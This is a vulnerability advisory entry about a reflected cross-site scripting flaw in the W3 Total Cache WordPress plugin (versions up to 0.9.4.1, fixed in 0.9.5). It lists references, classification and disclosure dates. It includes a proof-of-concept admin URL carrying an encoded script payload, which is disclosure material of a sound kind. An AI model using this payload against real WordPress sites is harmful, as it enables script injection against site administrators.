W3 Total Cache <= 0.9.4.1 - Authenticated Reflected Cross-Site Scripting (XSS)

Proof of Concept

http://www.example.com/wp-admin/admin.php?page=w3tc_support&request_type=bug_report&payment&url=http%3A%2F%2Fexample.com&name=test&email=test%25gmail.com&twitter&phone&subject=test%22+a&description=test&forum_url&wp_login&wp_password&ftp_host&ftp_login&ftp_password&subscribe_releases&subscribe_customer&w3tc_error=support_request&request_id=%22%3E%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E

Affects Plugin

w3-total-cache

fixed in version 0.9.5

References

URL	https://blog.zerial.org/seguridad/vulnerabilidad-cross-site-scripting-en-wordpress-w3-total-cache/
URL	https://seclists.org/fulldisclosure/2016/Sep/52
URL	https://sumofpwn.nl/advisory/2016/reflected_cross_site_scripting_vulnerability_in_w3_total_cache_plugin.html
URL	https://seclists.org/fulldisclosure/2016/Nov/63

Classification

Type	XSS
OWASP Top 10	A7: Cross-Site Scripting (XSS)
CWE	CWE-79

Miscellaneous

Submitter	ethicalhack3r
Submitter Website	https://dewhurstsecurity.com/
Submitter Twitter	ethicalhack3r
Views	5687
Verified	No
WPVDB ID	8625

Timeline

Publicly Published	2016-09-21 (about 3 years ago)
Added	2016-09-22 (about 3 years ago)
Last Updated	2019-11-01 (15 days ago)

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